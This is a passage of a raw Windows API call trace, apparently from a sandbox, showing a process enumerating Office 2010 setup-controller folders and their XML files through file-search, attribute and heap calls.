lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.272] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.279] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.279] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0056.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9dfe0 [0056.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a668 [0056.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.624] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0056.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e000 [0056.630] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a770 [0056.630] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.630] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0056.632] GetLastError () returned 0x12 [0056.632] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0056.633] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0056.635] GetLastError () returned 0x12 [0056.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0056.635] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0056.635] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.635] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0056.635] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0056.636] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9e7a8 [0056.636] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9e7a8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9e7a8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0056.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9e7a8) returned 1 [0056.636] NtClose (Handle=0x188) returned 0x0 [0056.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0056.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0056.636] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.636] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e020 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a878 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e040 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9e7c0 [0056.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x580) returned 0xfa07a8 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0056.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0056.637] GetLastError () returned 0x12 [0056.637] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0056.637] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0056.637] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0056.637] GetLastError () returned 0x12 [0056.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0056.638] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0056.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0056.638] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.638] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0056.638] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0056.655] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0056.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.655] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0056.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.655] NtClose (Handle=0x18c) returned 0x0 [0056.655] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.655] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0056.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0056.656] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.656] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e060 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9e8c8 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e080 [0056.656] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9e9d0 [0056.656] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.656] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0056.656] GetLastError () returned 0x12 [0056.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0056.657] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, 